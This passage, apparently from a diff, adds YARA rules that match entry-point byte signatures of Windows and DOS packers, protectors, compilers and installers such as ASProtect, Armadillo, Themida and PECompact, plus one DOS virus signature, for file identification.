+		$2 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _XcomOR_099a_
+{
+	meta:
+		description = "XcomOR 0.99a"
+	strings:
+		$0 = {80 06 01 01 0A B4 01 50 50 C3 BF 00 01 57 B8 00 00 8B 4D 01 8B 5D 03 33 D8 89 1D 83 C7 02 05 87 00 83 F9 01 74 01 49 E2 EB 58 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Armadillo_300_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Armadillo 3.00"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+		$1 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1200__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.2.0.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 32 2E 30 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PESHiELD_025_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PESHiELD 0.25"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+		$1 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXLock_v10__CyberDoom_
+{
+	meta:
+		description = "UPXLock v1.0 -> CyberDoom"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220b1_
+{
+	meta:
+		description = "Armadillo v2.20b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrypKey_Instant_Stealth_50161_
+{
+	meta:
+		description = "CrypKey Instant Stealth 5.0.161"
+	strings:
+		$0 = {E8 00 00 00 00 58 83 E8 05 50 5F 57 8B F7 81 EF A7 1F 00 00 83 C6 39 BA 00 00 00 00 8B DF B9 0B 00 00 00 8B 06 33 03 89 06 83 C6 04 83 C3 04 E2 F2 42 83 FA 05 74 02 EB E3 6A 11 B6 AC 0D 65 DF D4 35 20 31 19 67 C0 CB 2D BA 36 19 73 C5 DB 70}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v11_
+{
+	meta:
+		description = "FSG v1.1"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+		$1 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+		$2 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? F6}
+		$3 = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x___Nullsoft_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x ->  Nullsoft"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypter_
+{
+	meta:
+		description = "PE-Crypter"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+		$1 = {60 E8 00 00 00 00 5D EB 26}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V22007121__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2007.12.1 -> WFS"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 37 2E 31 32 2E 31 2C 20 43 6F 70 79 72 69 67 68 74 20 28 43 29 20 57 46 53 00 00 48 6F 6D 65 50 61 67 65 3A 20 77 77 77 2E 65 6E 63 72 79 70 74}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 37 2E 31 32 2E 31 2C 20 43 6F 70 79 72 69 67 68 74 20 28 43 29 20 57 46 53 00 00 48 6F 6D 65 50 61 67 65 3A 20 77 77 77 2E 65 6E 63 72 79 70 74 70 65 2E 63 6F 6D 00 00 00 00 00 45 4D 61 69 6C 3A 20 77 66 73 23 65 6E 63 72 79 70 74 70 65 2E 63 6F 6D 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE_joiner__Amok_
+{
+	meta:
+		description = "EXE joiner -> Amok"
+	strings:
+		$0 = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+		$1 = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _File_Analyzer_Compiled_Datafile_Version_
+{
+	meta:
+		description = "File Analyzer Compiled Datafile Version"
+	strings:
+		$0 = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _NTPacker_10__ErazerZ_
+{
+	meta:
+		description = "NTPacker 1.0 -> ErazerZ"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1}
+		$1 = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEtite_v20__Ian_Luck_
+{
+	meta:
+		description = "PEtite v2.0 -> Ian Luck"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A 00 FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEb_
+{
+	meta:
+		description = "ASProtect v1.1 MTEb"
+	strings:
+		$0 = {90 60 E9 ?? 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PAKSFX_Archive_
+{
+	meta:
+		description = "PAK-SFX Archive"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_23_SKE_build_0426_Beta_
+{
+	meta:
+		description = "ASProtect 2.3 SKE build 04.26 Beta"
+	strings:
+		$0 = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_V0460V0759__hying_
+{
+	meta:
+		description = "PE-Armor V0.460-V0.759 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+	condition:
+		$0
+}
+rule _XPack_097__098_EXE__JoKo_
+{
+	meta:
+		description = "XPack 0.97 - 0.98 EXE -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 9C 60 E8 2D 06 00 00 34 ?? 01 00 00 00 00 00 00 00 00 00 44 ?? 01 00 34 ?? 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 51 ?? 01 00 62 ?? 01 00 71 ?? 01 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v4_
+{
+	meta:
+		description = "Dev-C++ v4"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+		$1 = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Software_Compress__V12___BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress  V1.2 ->  BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS_Extender_by_Doug_Hoffmann_1994_
+{
+	meta:
+		description = "DOS Extender by Doug Hoffmann 1994"
+	strings:
+		$0 = {16 53 66 5B 72 EC 3B C8 75 E8 36 66 89 36 D2 01 57 36 8B 3E 00 00 8B 0E 06 00 8B 36 18 00 66 C1 CB 10 66 0F B7 C3 8B D0 AD 8B 1C 3B DF 0F 8D 08 00 03 DA 8E C3 26 67 01 10 83 C6 02 E2 EA B4 0F CD 10 2E A2 00 00 5F 16 1F 66 8F 06 D6 01 66 8F}
+	condition:
+		$0 at entrypoint
+}
+rule _RatPacker_Glue_stub_
+{
+	meta:
+		description = "RatPacker (Glue) stub"
+	strings:
+		$0 = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+		$1 = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [WATCOM C/C++ EXE] --> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037__v038_Beta_Strip_base_relocation_table_Option_
+{
+	meta:
+		description = "Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option)"
+	strings:
+		$0 = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+		$1 = {52 CC 00 00 00 00 ?? ?? ?? ?? 09 ?? 08 ?? 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPACK_30_
+{
+	meta:
+		description = "CRYPACK 3.0"
+	strings:
+		$0 = {06 1E 8C D8 05 10 00 8E D8 33 DB 0E 07 33 FF BE A1 01 8A 07 26 8A 25 32 C4 88 07 47 3B FE 74 08 43 83 FB 10 74 06 EB EA 33 FF EB F4 33 DB 8C D8 40 8E D8 8C C9 3B C1 74 02 EB D7 1F 07 06 1E 2E A1 05 00 8C C3 83 C3 10 03 C3 2E A3 05 00 FA 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_V10__Arkanoid_
+{
+	meta:
+		description = "Packanoid V1.0 -> Arkanoid"
+	strings:
+		$0 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_24222428__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.422-2.428 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+		$1 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PeCompact_253_DLL__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.53 DLL --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+		$1 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 00 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V121_aPlib_043__ap0x__20080504_
+{
+	meta:
+		description = "RLPack V1.21 (aPlib 0.43) -> ap0x * 20080504"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 D6 05 00 00 EB 0C 8B 85 D2 05 00 00 89 85 D6 05 00 00 E8 4C 01 00 00 8D B5 FE 05 00 00 8D 9D 85 04 00 00 33 FF E8 77 01 00 00 EB 1B 8B 85 D6 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD E2 05 00 00 00 74 0E 83 BD E6 05 00 00 00 74 05 E8 15 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 6B 05 00 00 89 85 FA 05 00 00 5B FF B5 FA 05 00 00 56 FF D3 83 C4 08 8B B5 FA 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 EB 6E 56 FF 95 63 05 00 00 0B C0 75 05 E8 08 03 00 00 85 C0 0F 84 95 00 00 00 89 85 F2 05 00 00 8B C6 EB 2A 8B 85 F6 05 00 00 8B 00 50 FF B5 F2 05 00 00 E8 50 02 00 00 85 C0 74 73 89 07 83 85 F6 05 00 00 04 83 C7 04 8B 85 F6 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 80 3E 01 75 8D 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 FA 05 00 00 FF 95 6F 05 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 FA 05 00 00 FF 95 6F 05 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098__tHE_EGOiSTE_h_
+{
+	meta:
+		description = "tElock 0.98 -> tHE EGOiSTE (h)"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Grazie883_
+{
+	meta:
+		description = "Vx: Grazie.883"
+	strings:
+		$0 = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+		$1 = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ThemidaWinLicense_V1802_p__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.0.2 + -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _IcebergLock_Protector_V310136__Iceberg_Software_Lab____200800217_
+{
+	meta:
+		description = "IcebergLock Protector V3.10.1.36 -> Iceberg Software Lab   * 200800217"
+	strings:
+		$0 = {E8 D7 FF FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 00 00 72 F9 C3 8D 40 00 55 8B EC 33 C0 55 ?? ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 5A 59 59 64 89 10 ?? ?? ?? ?? ?? C3 E9 50 CD FD FF EB F8 5D C3 1E 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 8B EC 83 ?? ?? B8 ?? ?? ?? ?? E8 B8 EF FD FF E8 2F DF FF FF B8 ?? ?? ?? ?? E8 71 FE FF FF E8 18 D1 FD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V6X_Dll__Silicon_Realms_Toolworks__20081227_
+{
+	meta:
+		description = "Armadillo V6.X Dll -> Silicon Realms Toolworks * 20081227"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 D0 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 80 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_102a__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.02a -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 3E D9 43 00 B8 38 ?? ?? 00 03 C5 2B 85 0B DE 43 00 89 85 17 DE 43 00 80 BD 01 DE 43 00 00 75 15 FE 85 01 DE 43 00 E8 1D 00 00 00 E8 79 02 00 00 E8 12 03 00 00 8B 85 03 DE 43 00 03 85 17 DE 43 00 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v2xx_
+{
+	meta:
+		description = "PECompact v2.xx"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0
+}
+rule _Private_EXE_20a_
+{
+	meta:
+		description = "Private EXE 2.0a"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D 00 00 00 00 50 81 EB 06 10 40 00 8B 83 E7 10 40 00 81 38 E8 2F F5 FD 0F 85 A4 00 00 00 8D 83 23 11 40 00 50 FF 93 EB 10 40 00 0B C0 74 78 90 90 90 90 89 83 1F 11 40 00 8D 83 27 11 40 00 50 FF B3 1F 11 40 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_04600759__hying_
+{
+	meta:
+		description = "PE-Armor 0.460-0.759 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+		$2 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EncryptPE_12003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.5.18 -> WFS"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 79}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__3_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #3"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+		$1 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nBinder_v40_
+{
+	meta:
+		description = "nBinder v4.0"
+	strings:
+		$0 = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+		$1 = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Tiny_Xor_01_
+{
+	meta:
+		description = "Tiny Xor 0.1"
+	strings:
+		$0 = {FC B8 00 00 BB 00 00 B9 00 00 BE 03 01 30 04 02 C3 86 C4 86 DF 46 E2 F5 BE 00 01 C7 04 00 00 C6 44 02 00 33 C0 33 DB 33 C9 FF E6}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1400Beta__Obsidium_Software__SignByfly__20080102_
+{
+	meta:
+		description = "Obsidium V1.4.0.0.Beta -> Obsidium Software * Sign.By.fly * 20080102"
+	strings:
